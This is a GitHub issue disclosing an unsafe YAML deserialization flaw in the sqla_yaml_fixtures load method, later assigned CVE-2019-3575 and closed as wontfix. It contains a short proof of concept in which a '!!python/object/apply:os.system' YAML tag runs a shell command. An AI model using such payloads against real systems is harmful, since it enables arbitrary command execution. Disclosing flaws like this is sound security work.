New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

sqla_yaml_fixtures.load method is vulnerable #20

Closed
bigbigliang-malwarebenchmark opened this Issue Jan 2, 2019 · 2 comments

Comments

Projects
None yet
3 participants
@bigbigliang-malwarebenchmark
Copy link

bigbigliang-malwarebenchmark commented Jan 2, 2019

import sqla_yaml_fixtures
test_str ='!!python/object/apply:os.system ["dir"]'
sqla_yaml_fixtures.load('a','a',test_str)

Hi, there is a vulnerability in load methods in sqla_yaml_fixtures,please see PoC above. It can execute arbitrary python commands resulting in command execution.

@abergmann

This comment has been minimized.

Copy link

abergmann commented Jan 4, 2019

CVE-2019-3575 was assigned to this issue.

@schettino72 schettino72 added the wontfix label Jan 4, 2019

@schettino72

This comment has been minimized.

Copy link
Owner

schettino72 commented Jan 4, 2019

Yes, YAML is vulnerable.

@schettino72 schettino72 closed this Jan 4, 2019

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment